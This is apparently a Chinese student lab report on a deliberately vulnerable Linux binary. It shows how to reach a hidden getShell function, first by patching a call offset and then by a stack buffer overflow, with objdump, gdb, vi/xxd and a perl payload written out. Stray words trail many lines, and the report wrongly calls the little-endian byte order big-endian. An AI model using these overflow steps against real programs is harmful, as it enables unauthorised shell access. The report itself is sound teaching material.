本次實踐的對象是一個名爲pwn20145320的linux可執行文件。linux
該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。函數
該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。調試
使用兩種方法:code
1.利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。對象
2.手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。ip
這幾種思路,基本表明現實狀況中的攻擊目標內存
(3)以及注入運行任意代碼。字符串
對目標文件pwn20145320進行反彙編。下面只保留了最核心的幾行代碼。get
root@KaliYL:~# objdump -d pwn20145320 | more 0804847d <getShell>: 804847d: 55 push %ebp ... 08048491 <foo>: 8048491: 55 push %ebp ... 080484af <main>: ... 80484b5: e8 d7 ff ff ff call 8048491 <foo> 80484ba: b8 00 00 00 00 mov $0x0,%eax ...
先看第12行,"call 8048491 "是彙編指令,是說這條指令將調用位於地址8048491處的foo函數;其對應機器指令爲「e8 d7ffffff」,e8即跳轉之意。原本正常流程,此時此刻EIP的值應該是下條指令的地址,即80484ba,但一解釋e8這條指令呢,CPU就會轉而執行 「EIP + d7ffffff」這個位置的指令。「d7ffffff」是補碼,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491這個值,input
main函數調用foo,對應機器指令爲「 e8 d7ffffff」,那咱們想讓它調用getShell,只要修改「d7ffffff」爲,"getShell-80484ba"對應的補碼就行。用Windows計算器,直接 47d-4ba就能獲得補碼,是c3ffffff。
下面咱們就修改可執行文件,將其中的call指令的目標地址由d7ffffff變爲c3ffffff。
root@KaliYL:~# vi pwn20145320 如下操做是在vi內 1.按ESC鍵 2.輸入以下,將顯示模式切換爲16進制模式 :%!xxd
3.查找要修改的內容 /e8d7 4.找到後先後的內容和反彙編的對比下,確認是地方是正確的 5.修改d7爲c3
6.轉換16進製爲原格式 :%!xxd -r 7.存盤退出vi :wq 8.再反彙編看一下,call指令是否正確調用getShell root@KaliYL:~# objdump -d pwn20145320 | more ... 080484af <main>: 80484af: 55 push %ebp 80484b0: 89 e5 mov %esp,%ebp 80484b2: 83 e4 f0 and $0xfffffff0,%esp 80484b5: e8 c3 ff ff ff call 804847d <getShell> 80484ba: b8 00 00 00 00 mov $0x0,%eax
發現該可執行文件正常運行是調用以下函數foo,這個函數有Buffer overflow漏洞
08048491 <foo>: 8048491: 55 push %ebp 8048492: 89 e5 mov %esp,%ebp 8048494: 83 ec 38 sub $0x38,%esp 8048497: 8d 45 e4 lea -0x1c(%ebp),%eax 804849a: 89 04 24 mov %eax,(%esp)
== 這裏讀入字符串,但系統只預留了?字節的緩衝區,超出部分會形成溢出,咱們的目標是覆蓋返回地址 ==
080484af <main>: 80484af: 55 push %ebp 80484b0: 89 e5 mov %esp,%ebp 80484b2: 83 e4 f0 and $0xfffffff0,%esp 80484b5: e8 d7 ff ff ff call 8048491 <foo>
==上面的call調用foo,同時在堆棧上壓上返回地址值:80484ba==
爲了肯定使用多少個字節纔會使緩衝區溢出,這裏使用暴力破解法,及一個一個字符添加直到出現Segmentation fault
字樣。
這裏能夠回答上面的問題是27字節!!
可是咱們的目標是將寄存器%eip的值給覆蓋掉,並不是單純地找到溢出長度!!
這裏使用GDB調試:
root@KaliYL:~# gdb pwn20145320 (gdb) r Starting program: /root/pwn20145320 1111111122222222333333334444444455555555 1111111122222222333333334444444455555555 Program received signal SIGSEGV, Segmentation fault.
同時查看每一個寄存器的值,查看的關鍵是寄存器eip的值!
(gdb) info r ... eip 0x35353535 0x35353535 //注意EIP的值,是ASCII 5 ...
再次調試查看是哪一個字符被覆蓋到了eip中:
Start it from the beginning? (y or n) y
Starting program: /root/pwn20145320
1111111122222222333333334444444412345678
1111111122222222333333334444444412345678
Program received signal SIGSEGV, Segmentation fault. 0x34333231 in ?? () (gdb) info r eip 0x34333231 0x34333231 eflags 0x10246 [ PF ZF IF RF ]
仔細觀察發現其實圖上已經在詢問eip的值是什麼!
若是輸入字符串1111111122222222333333334444444412345678,那 1234 那四個數最終會覆蓋到堆棧上的返回地址,進而CPU會嘗試運行這個位置的代碼。那隻要把這四個字符替換爲 getShell 的內存地址,輸給pwn20145320,pwn20145320就會運行getShell。
getShell的內存地址是0804847d。
接下來要確認下字節序(這裏是低字節放在高位的大端法),簡單說是輸入11111111222222223333333344444444\x7d\x84\x04\x08。(前面32字節能夠任意輸入)
由爲咱們無法經過鍵盤輸入\x7d\x84\x04\x08這樣的16進制值,因此先生成包括這樣字符串的一個文件。\x0a表示回車,若是沒有的話,在程序運行時就須要手工按一下回車鍵。
root@KaliYL:~# perl -e 'print "12345678123456781234567812345678\x7d\x84\x04\x08\x0a"' > input
可使用16進制查看指令xxd查看input文件的內容是否如預期。
root@KaliYL:~# xxd input 00000000: 3132 3334 3536 3738 3132 3334 3536 3738 1234567812345678 00000010: 3132 3334 3536 3738 3132 3334 3536 3738 1234567812345678 00000020: 7d84 0408 0a }....
而後將input的輸入,經過管道符「|」,做爲pwn20145320的輸入。
root@KaliYL:~# (cat input; cat) | ./pwn20145320
一、第一個實驗是修改call函數調用的函數地址來調用同一文件中的另外一個函數。可是萬一這個可執行文件裏面只有一個函數,並無其餘函數怎麼辦,只能本身注入代碼!並且我感受本身注入代碼的狀況會更多!
二、在緩衝區溢出攻擊中除了使用暴力破解來找緩衝區的大小,假若有能夠計算的方法可能會減小很大的工做量。